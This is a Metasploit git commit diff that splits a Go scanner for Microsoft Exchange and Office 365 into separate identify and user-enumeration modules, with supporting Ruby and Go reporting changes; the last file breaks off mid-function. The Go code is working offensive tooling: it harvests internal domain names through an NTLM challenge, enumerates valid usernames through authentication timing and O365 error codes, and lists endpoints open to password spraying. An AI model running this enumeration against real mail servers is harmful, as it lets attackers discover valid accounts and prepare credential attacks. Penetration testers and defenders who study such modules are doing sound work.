Address review feedback, fix bugs

This commit is contained in:
Christopher Lee 2018-11-30 11:36:39 -06:00
parent 2deaf198b3
commit 6225c04b99
11 changed files with 685 additions and 599 deletions

View File

@ -9,20 +9,12 @@ OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
- Identifies services vulnerable to time-based user enumeration for onprem Exchange
- Lists password-sprayable services exposed for onprem Exchange host
**Userenum (o365) Command**
- Error-based user enumeration for Office 365 integrated email addresses
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
## Verification
- Start `msfconsole`
- `use auxiliary/scanner/msmail/exchange_enumerator`
- `use auxiliary/scanner/msmail/identify`
- `set RHOSTS <target>`
- `run`
- **Verify** the result is as expected
- `set Command userenum`
- `set OnPrem true` and (set `UserName` or `UserNameFilePath`) OR `set O365 true` and (set `Email` or `EmailFilePath`)
- `run`
- **Verify** the result is as expected

View File

@ -0,0 +1,18 @@
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
This module leverages all known, and even some lesser-known services exposed by default
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
**Userenum (o365) Command**
- Error-based user enumeration for Office 365 integrated email addresses
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
## Verification
- Start `msfconsole`
- `use auxiliary/scanner/msmail/user_enum`
- `set RHOSTS <target>`
- `set OnPrem true` and (set `USER` or `USER_FILE`) OR `set O365 true` and (set `EMAIL` or `EMAIL_FILE`)
- `run`
- `creds` shows valid users
- **Verify** the result is as expected

View File

@ -119,8 +119,45 @@ module Msf::Module::External
})
invalidate_login(**cred)
when 'credential_login'
handle_credential_login(data, mod)
else
print_warning "Skipping unrecognized report type #{m.params['type']}"
end
end
end
#
# Handles login report that does not necessarily need to include a password
#
def handle_credential_login(data, mod)
# Required
service_data = {
address: data['address'],
port: data['port'],
protocol: data['protocol'],
service_name: data['service_name'],
module_fullname: data['fullname'],
workspace_id: myworkspace_id
}
# Optional
credential_data = {
origin_type: :service,
username: data['username']
}.merge(service_data)
if data.has_key?(:password)
print_warning "In pass"
credential_data[:private_data] = data['password']
credential_data[:private_type] = :password
end
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
}.merge(service_data)
create_credential_login(login_data)
end

View File

@ -142,7 +142,7 @@ module Msf::Modules
elsif Process.kill('TERM', self.wait_thread.pid) && self.wait_thread.join(10)
self.exit_status = self.wait_thread.value
else
Procoess.kill('KILL', self.wait_thread.pid)
Process.kill('KILL', self.wait_thread.pid)
self.exit_status = self.wait_thread.value
end
end
@ -197,8 +197,19 @@ class Msf::Modules::External::GoBridge < Msf::Modules::External::Bridge
def initialize(module_path, framework: nil)
super
gopath = ENV['GOPATH'] || ''
self.env = self.env.merge({ 'GOPATH' => File.expand_path('../go', __FILE__) + File::PATH_SEPARATOR + gopath})
default_go_path = ENV['GOPATH'] || ''
shared_module_lib_path = File.dirname(module_path) + "/shared"
go_path = File.expand_path('../go', __FILE__)
if File.exist?(default_go_path)
go_path = go_path + File::PATH_SEPARATOR + default_go_path
end
if File.exist?(shared_module_lib_path)
go_path = go_path + File::PATH_SEPARATOR + shared_module_lib_path
end
self.env = self.env.merge({ 'GOPATH' => go_path})
self.cmd = ['go', 'run', self.path]
end
end

View File

@ -51,41 +51,6 @@ func Init(metadata *Metadata, callback RunCallback) {
}
}
func ReportHost(ip string, opts map[string]string) {
base := map[string]string{"host": ip}
if err := report("host", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportService(ip string, opts map[string]string) {
base := map[string]string{"host": ip}
if err := report("service", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportVuln(ip string, name string, opts map[string]string) {
base := map[string]string{"host": ip, "name": name}
if err := report("vuln", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportCorrectPassword(username string, password string, opts map[string]string) {
base := map[string]string{"username": username, "password": password}
if err := report("correct_password", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportWrongPassword(username string, password string, opts map[string]string) {
base := map[string]string{"username": username, "password": password}
if err := report("wrong_password", base, opts); err != nil {
log.Fatal(err)
}
}
type (
Request struct {
Jsonrpc string `json:"jsonrpc"`
@ -188,12 +153,4 @@ type (
Method string `json:"method"`
Params reportparams `json:"params"`
}
)
func report(kind string, base map[string]string, opts map[string]string) error {
for k, v := range base {
opts[k] = v
}
req := &reportRequest{"2.0", "report", reportparams{kind, opts}}
return rpcSend(req)
}
)

View File

@ -0,0 +1,57 @@
/*
* Defines functions that report data to the core framework
*/
package module
import "log"
func ReportHost(ip string, opts map[string]string) {
base := map[string]string{"host": ip}
if err := report("host", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportService(ip string, opts map[string]string) {
base := map[string]string{"host": ip}
if err := report("service", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportVuln(ip string, name string, opts map[string]string) {
base := map[string]string{"host": ip, "name": name}
if err := report("vuln", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportCorrectPassword(username string, password string, opts map[string]string) {
base := map[string]string{"username": username, "password": password}
if err := report("correct_password", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportWrongPassword(username string, password string, opts map[string]string) {
base := map[string]string{"username": username, "password": password}
if err := report("wrong_password", base, opts); err != nil {
log.Fatal(err)
}
}
func ReportCredentialLogin(username string, password string, opts map[string]string) {
base := map[string]string{"username": username, "password": password}
if err := report("credential_login", base, opts); err != nil {
log.Fatal(err)
}
}
func report(kind string, base map[string]string, opts map[string]string) error {
for k, v := range base {
opts[k] = v
}
req := &reportRequest{"2.0", "report", reportparams{kind, opts}}
return rpcSend(req)
}

View File

@ -45,6 +45,11 @@ class Msf::Modules::External::Shim
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
meta[:license] = mod.meta['license'].nil? ? 'MSF_LICENSE' : mod.meta['license']
# Set modules without options to have an empty map
if mod.meta['options'].nil?
mod.meta['options'] = {}
end
options = mod.meta['options'].reject {|n, _| ignore_options.include? n}
meta[:options] = options.map do |n, o|

View File

@ -1,543 +0,0 @@
//usr/bin/env go run "$0" "$@"; exit "$?"
/*
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
This module leverages all known, and even some lesser-known services exposed by default
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
Identify Command
Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain
Queries for specific DNS records related to Office 365 integration
Attempts to extract internal domain name for onprem instance of Exchange
Identifies services vulnerable to time-based user enumeration for onprem Exchange
Lists password-sprayable services exposed for onprem Exchange host
Userenum (o365) Command
Error-based user enumeration for Office 365 integrated email addresses
*/
package main
import (
"crypto/tls"
b64 "encoding/base64"
"fmt"
"io/ioutil"
"log"
"metasploit/module"
"net"
"net/http"
"os"
"sort"
"strings"
"sync"
"time"
"strconv"
)
func main() {
metadata := &module.Metadata{
Name: "msmailprobe",
Description: "Office 365 and Exchange Enumeration",
Authors: []string{"poptart", "jlarose", "Vincent Yui", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
Date: "2018-11-6",
Type: "single_scanner",
Privileged: false,
References: []module.Reference{},
Options: map[string]module.Option{
"Command": {Type: "string", Description: "Either 'userenum' or 'identify'", Required: true, Default: "identify"},
"OnPrem": {Type: "bool", Description: "Flag to specify an On-Premise instance of Exchange", Required: false, Default: "false"},
"O365": {Type: "bool", Description: "Use this flag if Exchange services are hosted by Office 365", Required: false, Default: "false"},
"UserName": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""},
"UserNameFilePath": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""},
"Email": {Type: "string", Description: "Single email address to do identity test against", Required: false, Default: ""},
"EmailFilePath": {Type: "string", Description: "Path to file containing list of email addresses", Required: false, Default: ""},
"OutputFile": {Type: "string", Description: "Used for outputting valid users/email", Required: false, Default: ""},
}}
module.Init(metadata, run)
}
func run(params map[string]interface{}) {
switch strings.ToLower(params["Command"].(string)) {
case "userenum":
doUserEnum(params)
case "identify":
doIdentify(params)
default:
module.LogError("Command should be set and must be either: 'userenum' or 'identify'")
}
}
func doUserEnum(params map[string]interface{}) {
onPrem, e := strconv.ParseBool(params["OnPrem"].(string))
if e != nil {
module.LogError("Unable to parse 'OnPrem' value: " + e.Error())
return
}
o365, e := strconv.ParseBool(params["O365"].(string))
if e != nil {
module.LogError("Unable to parse 'O365' value: " + e.Error())
return
}
if !onPrem && !o365 {
module.LogError("Either 'OnPrem' or 'O365' needs to be set")
return
}
if onPrem && o365 {
module.LogError("Both 'OnPrem' and 'O365' cannot be set")
return
}
threads, e := strconv.Atoi(params["THREADS"].(string))
if e != nil {
module.LogError("Unable to parse 'Threads' value using default (5)")
threads = 5
}
if threads > 100 {
module.LogInfo("Threads value too large, setting max(100)")
threads = 100
}
if onPrem {
runOnPrem(params, threads)
} else {
runO365(params, threads)
}
}
func doIdentify(params map[string]interface{}) {
host := params["RHOSTS"].(string)
harvestInternalDomain(host, true)
urlEnum(host)
}
func runOnPrem(params map[string]interface{}, threads int) {
// The core shim prevents an empty RHOSTS value - we should fix this.
userNameFilePath := params["UserNameFilePath"].(string)
userName := params["UserName"].(string)
outputFile := params["OutputFile"].(string)
host := params["RHOSTS"].(string)
if userNameFilePath == "" && userName == "" {
module.LogError("Expected 'UserNameFilePath' or 'UserName' field to be populated")
return
}
if userNameFilePath != "" {
avgResponse := basicAuthAvgTime(host)
if outputFile == "" {
determineValidUsers(host, avgResponse, importUserList(userNameFilePath), threads)
} else {
writeFile(outputFile, determineValidUsers(host, avgResponse, importUserList(userNameFilePath), threads))
}
} else {
avgResponse := basicAuthAvgTime(host)
determineValidUsers(host, avgResponse, []string{userName}, threads)
}
}
func runO365(params map[string]interface{}, threads int) {
email := params["Email"].(string)
emailFilePath := params["EmailFilePath"].(string)
outputFile := params["OutputFile"].(string)
if email == "" && emailFilePath == "" {
module.LogError("Expected 'Email' or 'EmailFilePath' field to be populated")
return
}
if outputFile == "" {
if email != "" {
o365enum([]string{email}, threads)
}
if emailFilePath != "" {
o365enum(importUserList(emailFilePath), threads)
}
} else {
if email != "" {
writeFile(outputFile, o365enum([]string{email}, threads))
}
if emailFilePath != "" {
writeFile(outputFile, o365enum(importUserList(emailFilePath), threads))
}
}
}
func harvestInternalDomain(host string, outputDomain bool) string {
if outputDomain == true {
module.LogInfo("Attempting to harvest internal domain:")
}
url1 := "https://" + host + "/ews"
url2 := "https://" + host + "/autodiscover/autodiscover.xml"
url3 := "https://" + host + "/rpc"
url4 := "https://" + host + "/mapi"
url5 := "https://" + host + "/oab"
url6 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
var urlToHarvest string
if webRequestCodeResponse(url1) == 401 {
urlToHarvest = url1
} else if webRequestCodeResponse(url2) == 401 {
urlToHarvest = url2
} else if webRequestCodeResponse(url3) == 401 {
urlToHarvest = url3
} else if webRequestCodeResponse(url4) == 401 {
urlToHarvest = url4
} else if webRequestCodeResponse(url5) == 401 {
urlToHarvest = url5
} else if webRequestCodeResponse(url6) == 401 {
urlToHarvest = url6
} else {
module.LogInfo("Unable to resolve host provided to harvest internal domain name.\n")
}
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
timeout := time.Duration(3 * time.Second)
client := &http.Client{
Timeout: timeout,
Transport: tr,
}
req, err := http.NewRequest("GET", urlToHarvest, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36")
req.Header.Set("Authorization", "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==")
resp, err := client.Do(req)
if err != nil {
return ""
}
ntlmResponse := resp.Header.Get("WWW-Authenticate")
data := strings.Split(ntlmResponse, " ")
base64DecodedResp, err := b64.StdEncoding.DecodeString(data[1])
if err != nil {
module.LogError("Unable to parse NTLM response for internal domain name")
}
var continueAppending bool
var internalDomainDecimal []byte
for _, decimalValue := range base64DecodedResp {
if decimalValue == 0 {
continue
}
if decimalValue == 2 {
continueAppending = false
}
if continueAppending == true {
internalDomainDecimal = append(internalDomainDecimal, decimalValue)
}
if decimalValue == 15 {
continueAppending = true
continue
}
}
if outputDomain == true {
module.LogInfo("Internal Domain: ")
module.LogInfo(string(internalDomainDecimal))
}
return string(internalDomainDecimal)
}
func importUserList(tempname string) []string {
userFileBytes, err := ioutil.ReadFile(tempname)
if err != nil {
module.LogError(err.Error())
}
var userFileString = string(userFileBytes)
userArray := strings.Split(userFileString, "\n")
//Delete last unnecessary newline inserted into this slice
userArray = userArray[:len(userArray)-1]
return userArray
}
func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string {
limit := threads
var wg sync.WaitGroup
mux := &sync.Mutex{}
queue := make(chan string)
/*Keep in mind you, nothing has been added to handle successful auths
so the password for auth attempts has been hardcoded to something
that is not likely to be correct.
*/
pass := "Summer2018978"
internaldomain := harvestInternalDomain(host, false)
url1 := "https://" + host + "/autodiscover/autodiscover.xml"
url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
var urlToHarvest string
if webRequestCodeResponse(url1) == 401 {
urlToHarvest = url1
} else if webRequestCodeResponse(url2) == 401 {
urlToHarvest = url2
} else if webRequestCodeResponse(url3) == 401 {
urlToHarvest = url3
} else {
module.LogInfo("Unable to resolve host provided to determine valid users.")
return []string{}
}
var validusers []string
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
for i := 0; i < limit; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
for user := range queue {
startTime := time.Now()
webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr)
elapsedTime := time.Since(startTime)
if float64(elapsedTime) < float64(avgResponse)*0.77 {
mux.Lock()
module.LogInfo("[+] " + user + " - " + string(elapsedTime))
validusers = append(validusers, user)
mux.Unlock()
} else {
mux.Lock()
module.LogInfo("[-] " + user + " - " + string(elapsedTime))
mux.Unlock()
}
}
}(i)
}
for i := 0; i < len(userlist); i++ {
queue <- userlist[i]
}
close(queue)
wg.Wait()
return validusers
}
func basicAuthAvgTime(host string) time.Duration {
internaldomain := harvestInternalDomain(host, false)
url1 := "https://" + host + "/autodiscover/autodiscover.xml"
url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
var urlToHarvest string
if webRequestCodeResponse(url1) == 401 {
urlToHarvest = url1
} else if webRequestCodeResponse(url2) == 401 {
urlToHarvest = url2
} else if webRequestCodeResponse(url3) == 401 {
urlToHarvest = url3
} else {
module.LogInfo("Unable to resolve host provided to determine valid users.")
return -1
}
//We are determining sample auth response time for invalid users, the password used is irrelevant.
pass := "Summer201823904"
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
module.LogInfo("Collecting sample auth times...")
var sliceOfTimes []float64
var medianTime float64
usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"}
for i := 0; i < len(usernamelist)-1; i++ {
startTime := time.Now()
webRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr)
elapsedTime := time.Since(startTime)
if elapsedTime > time.Second*15 {
module.LogInfo("Response taking longer than 15 seconds, setting time:")
module.LogInfo("Avg Response: " + string(time.Duration(elapsedTime)))
return time.Duration(elapsedTime)
}
if i != 0 {
module.LogInfo(elapsedTime.String())
sliceOfTimes = append(sliceOfTimes, float64(elapsedTime))
}
}
sort.Float64s(sliceOfTimes)
if len(sliceOfTimes)%2 == 0 {
positionOne := len(sliceOfTimes)/2 - 1
positionTwo := len(sliceOfTimes) / 2
medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2
} else if len(sliceOfTimes)%2 != 0 {
position := len(sliceOfTimes)/2 - 1
medianTime = sliceOfTimes[position]
} else {
module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.")
}
module.LogInfo("Avg Response: " + string(time.Duration(medianTime)))
return time.Duration(medianTime)
}
func o365enum(emaillist []string, threads int) []string {
limit := threads
var wg sync.WaitGroup
mux := &sync.Mutex{}
queue := make(chan string)
//limit := 100
/*Keep in mind you, nothing has been added to handle successful auths
so the password for auth attempts has been hardcoded to something
that is not likely to be correct.
*/
pass := "Summer2018876"
URI := "https://outlook.office365.com/Microsoft-Server-ActiveSync"
var validemails []string
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
for i := 0; i < limit; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
for email := range queue {
responseCode := webRequestBasicAuth(URI, email, pass, tr)
if strings.Contains(email, "@") && responseCode == 401 {
mux.Lock()
module.LogInfo("[+] " + email + " - 401")
validemails = append(validemails, email)
mux.Unlock()
} else if strings.Contains(email, "@") && responseCode == 404 {
mux.Lock()
module.LogInfo(fmt.Sprintf("[-] %s - %d \n", email, responseCode))
mux.Unlock()
} else {
mux.Lock()
module.LogInfo(fmt.Sprintf("Unusual Response: %s - %d \n", email, responseCode))
mux.Unlock()
}
}
}(i)
}
for i := 0; i < len(emaillist); i++ {
queue <- emaillist[i]
}
close(queue)
wg.Wait()
return validemails
}
func webRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int {
timeout := time.Duration(45 * time.Second)
client := &http.Client{
Timeout: timeout,
Transport: tr,
}
req, err := http.NewRequest("GET", URI, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1")
req.SetBasicAuth(user, pass)
resp, err := client.Do(req)
if err != nil {
module.LogInfo(fmt.Sprintf("Potential Timeout - %s \n", user))
module.LogInfo("One of your requests has taken longer than 45 seconds to respond.")
module.LogInfo("Consider lowering amount of threads used for enumeration.")
module.LogError(err.Error())
}
return resp.StatusCode
}
func urlEnum(hostInput string) {
hostSlice := strings.Split(hostInput, ".")
o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com"
addr, err := net.LookupIP(o365Domain)
if err != nil {
module.LogInfo("Domain is not using o365 resources.")
} else if addr == nil {
module.LogError("error")
} else {
module.LogInfo("Domain is using o365 resources.")
}
asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync"
adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml"
ad2URI := "https://autodiscover." + hostInput + "/autodiscover/autodiscover.xml"
owaURI := "https://" + hostInput + "/owa"
timeEndpointsIdentified := false
module.LogInfo("Identifying endpoints vulnerable to time-based enumeration:")
timeEndpoints := []string{asURI, adURI, ad2URI, owaURI}
for _, uri := range timeEndpoints {
responseCode := webRequestCodeResponse(uri)
if responseCode == 401 {
module.LogInfo("[+] " + uri)
timeEndpointsIdentified = true
}
if responseCode == 200 {
module.LogInfo("[+] " + uri)
timeEndpointsIdentified = true
}
}
if timeEndpointsIdentified == false {
module.LogInfo("No Exchange endpoints vulnerable to time-based enumeration discovered.")
}
module.LogInfo("Identifying exposed Exchange endpoints for potential spraying:")
passEndpointIdentified := false
rpcURI := "https://" + hostInput + "/rpc"
oabURI := "https://" + hostInput + "/oab"
ewsURI := "https://" + hostInput + "/ews"
mapiURI := "https://" + hostInput + "/mapi"
passEndpoints401 := []string{oabURI, ewsURI, mapiURI, asURI, adURI, ad2URI, rpcURI}
for _, uri := range passEndpoints401 {
responseCode := webRequestCodeResponse(uri)
if responseCode == 401 {
module.LogInfo("[+] " + uri)
passEndpointIdentified = true
}
}
ecpURI := "https://" + hostInput + "/ecp"
endpoints200 := []string{ecpURI, owaURI}
for _, uri := range endpoints200 {
responseCode := webRequestCodeResponse(uri)
if responseCode == 200 {
module.LogInfo("[+] " + uri)
passEndpointIdentified = true
}
}
if passEndpointIdentified == false {
module.LogInfo("No onprem Exchange services identified.")
}
}
func webRequestCodeResponse(URI string) int {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
timeout := time.Duration(3 * time.Second)
client := &http.Client{
Timeout: timeout,
Transport: tr,
}
req, err := http.NewRequest("GET", URI, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1")
resp, err := client.Do(req)
if err != nil {
return 0
//log.Fatal(err)
}
return resp.StatusCode
}
func writeFile(filename string, values []string) {
if len(values) == 0 {
return
}
f, err := os.Create(filename)
if err != nil {
log.Fatal(err)
}
defer f.Close()
for _, value := range values {
fmt.Fprintln(f, value)
}
}

View File

@ -0,0 +1,104 @@
//usr/bin/env go run "$0" "$@"; exit "$?"
/*
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
This module leverages all known, and even some lesser-known services exposed by default
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain
Queries for specific DNS records related to Office 365 integration
Attempts to extract internal domain name for onprem instance of Exchange
Identifies services vulnerable to time-based user enumeration for onprem Exchange
Lists password-sprayable services exposed for onprem Exchange host
*/
package main
import (
"metasploit/module"
"msmail"
"net"
"strings"
)
func main() {
metadata := &module.Metadata{
Name: "msmail_ident",
Description: "Office 365 and Exchange Enumeration",
Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
Date: "2018-11-06",
Type: "single_scanner",
Privileged: false,
References: []module.Reference{},
Options: map[string]module.Option{},
}
module.Init(metadata, run_id)
}
func run_id(params map[string]interface{}) {
host := params["RHOSTS"].(string)
msmail.HarvestInternalDomain(host, true)
urlEnum(host)
}
func urlEnum(hostInput string) {
hostSlice := strings.Split(hostInput, ".")
o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com"
addr, err := net.LookupIP(o365Domain)
if err != nil {
module.LogInfo("Domain is not using o365 resources.")
} else if addr == nil {
module.LogError("error")
} else {
module.LogInfo("Domain is using o365 resources.")
}
asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync"
adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml"
ad2URI := "https://autodiscover." + hostInput + "/autodiscover/autodiscover.xml"
owaURI := "https://" + hostInput + "/owa"
timeEndpointsIdentified := false
module.LogInfo("Identifying endpoints vulnerable to time-based enumeration:")
timeEndpoints := []string{asURI, adURI, ad2URI, owaURI}
for _, uri := range timeEndpoints {
responseCode := msmail.WebRequestCodeResponse(uri)
if responseCode == 401 {
module.LogInfo("[+] " + uri)
timeEndpointsIdentified = true
}
if responseCode == 200 {
module.LogInfo("[+] " + uri)
timeEndpointsIdentified = true
}
}
if timeEndpointsIdentified == false {
module.LogInfo("No Exchange endpoints vulnerable to time-based enumeration discovered.")
}
module.LogInfo("Identifying exposed Exchange endpoints for potential spraying:")
passEndpointIdentified := false
rpcURI := "https://" + hostInput + "/rpc"
oabURI := "https://" + hostInput + "/oab"
ewsURI := "https://" + hostInput + "/ews"
mapiURI := "https://" + hostInput + "/mapi"
passEndpoints401 := []string{oabURI, ewsURI, mapiURI, asURI, adURI, ad2URI, rpcURI}
for _, uri := range passEndpoints401 {
responseCode := msmail.WebRequestCodeResponse(uri)
if responseCode == 401 {
module.LogInfo("[+] " + uri)
passEndpointIdentified = true
}
}
ecpURI := "https://" + hostInput + "/ecp"
endpoints200 := []string{ecpURI, owaURI}
for _, uri := range endpoints200 {
responseCode := msmail.WebRequestCodeResponse(uri)
if responseCode == 200 {
module.LogInfo("[+] " + uri)
passEndpointIdentified = true
}
}
if passEndpointIdentified == false {
module.LogInfo("No onprem Exchange services identified.")
}
}

View File

@ -0,0 +1,102 @@
package msmail
import (
"crypto/tls"
"encoding/base64"
"metasploit/module"
"net/http"
"strings"
"time"
)
func WebRequestCodeResponse(URI string) int {
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
timeout := time.Duration(3 * time.Second)
client := &http.Client{
Timeout: timeout,
Transport: tr,
}
req, err := http.NewRequest("GET", URI, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1")
resp, err := client.Do(req)
if err != nil {
return 0
}
return resp.StatusCode
}
func HarvestInternalDomain(host string, outputDomain bool) string {
if outputDomain {
module.LogInfo("Attempting to harvest internal domain:")
}
url1 := "https://" + host + "/ews"
url2 := "https://" + host + "/autodiscover/autodiscover.xml"
url3 := "https://" + host + "/rpc"
url4 := "https://" + host + "/mapi"
url5 := "https://" + host + "/oab"
url6 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
var urlToHarvest string
if WebRequestCodeResponse(url1) == 401 {
urlToHarvest = url1
} else if WebRequestCodeResponse(url2) == 401 {
urlToHarvest = url2
} else if WebRequestCodeResponse(url3) == 401 {
urlToHarvest = url3
} else if WebRequestCodeResponse(url4) == 401 {
urlToHarvest = url4
} else if WebRequestCodeResponse(url5) == 401 {
urlToHarvest = url5
} else if WebRequestCodeResponse(url6) == 401 {
urlToHarvest = url6
} else {
module.LogInfo("Unable to resolve host provided to harvest internal domain name.\n")
}
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
timeout := time.Duration(3 * time.Second)
client := &http.Client{
Timeout: timeout,
Transport: tr,
}
req, err := http.NewRequest("GET", urlToHarvest, nil)
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36")
req.Header.Set("Authorization", "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==")
resp, err := client.Do(req)
if err != nil {
return ""
}
ntlmResponse := resp.Header.Get("WWW-Authenticate")
data := strings.Split(ntlmResponse, " ")
base64DecodedResp, err := base64.StdEncoding.DecodeString(data[1])
if err != nil {
module.LogError("Unable to parse NTLM response for internal domain name")
}
var continueAppending bool
var internalDomainDecimal []byte
for _, decimalValue := range base64DecodedResp {
if decimalValue == 0 {
continue
}
if decimalValue == 2 {
continueAppending = false
}
if continueAppending == true {
internalDomainDecimal = append(internalDomainDecimal, decimalValue)
}
if decimalValue == 15 {
continueAppending = true
continue
}
}
if outputDomain {
module.LogInfo("Internal Domain: ")
module.LogInfo(string(internalDomainDecimal))
}
return string(internalDomainDecimal)
}

View File

@ -0,0 +1,346 @@
//usr/bin/env go run "$0" "$@"; exit "$?"
/*
OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
This module leverages all known, and even some lesser-known services exposed by default
Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration.
Error-based user enumeration for Office 365 integrated email addresses
*/
package main
import (
"crypto/tls"
"fmt"
"io/ioutil"
"metasploit/module"
"net/http"
"sort"
"strconv"
"strings"
"sync"
"time"
"msmail"
)
func main() {
metadata := &module.Metadata{
Name: "msmail_enum",
Description: "Office 365 and Exchange Enumeration",
Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
Date: "2018-11-06",
Type: "single_scanner",
Privileged: false,
References: []module.Reference{},
Options: map[string]module.Option{
"OnPrem": {Type: "bool", Description: "Flag to specify an On-Premise instance of Exchange", Required: false, Default: "false"},
"O365": {Type: "bool", Description: "Use this flag if Exchange services are hosted by Office 365", Required: false, Default: "false"},
"USERNAME": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""},
"USER_FILE": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""},
"EMAIL": {Type: "string", Description: "Single email address to do identity test against", Required: false, Default: ""},
"EMAIL_FILE": {Type: "string", Description: "Path to file containing list of email addresses", Required: false, Default: ""},
}}
module.Init(metadata, run_enum)
}
func run_enum(params map[string]interface{}) {
onPrem, e := strconv.ParseBool(params["OnPrem"].(string))
if e != nil {
module.LogError("Unable to parse 'OnPrem' value: " + e.Error())
return
}
o365, e := strconv.ParseBool(params["O365"].(string))
if e != nil {
module.LogError("Unable to parse 'O365' value: " + e.Error())
return
}
if !onPrem && !o365 {
module.LogError("'OnPrem' and/or 'O365' needs to be set")
return
}
threads, e := strconv.Atoi(params["THREADS"].(string))
if e != nil {
module.LogError("Unable to parse 'Threads' value using default (5)")
threads = 5
}
if threads > 100 {
module.LogInfo("Threads value too large, setting max(100)")
threads = 100
}
if onPrem {
runOnPrem(params, threads)
}
if o365 {
runO365(params, threads)
}
}
func runOnPrem(params map[string]interface{}, threads int) {
// The core shim prevents an empty RHOSTS value - we should fix this.
userFile := params["USER_FILE"].(string)
userName := params["USERNAME"].(string)
host := params["RHOSTS"].(string)
if userFile == "" && userName == "" {
module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated")
return
}
var validUsers []string
avgResponse := basicAuthAvgTime(host)
if userFile != "" {
validUsers = determineValidUsers(host, avgResponse, importUserList(userFile), threads)
} else {
validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads)
}
reportValidUsers(host, validUsers)
}
func runO365(params map[string]interface{}, threads int) {
email := params["EMAIL"].(string)
emailFile := params["EMAIL_FILE"].(string)
host := params["RHOSTS"].(string)
if email == "" && emailFile == "" {
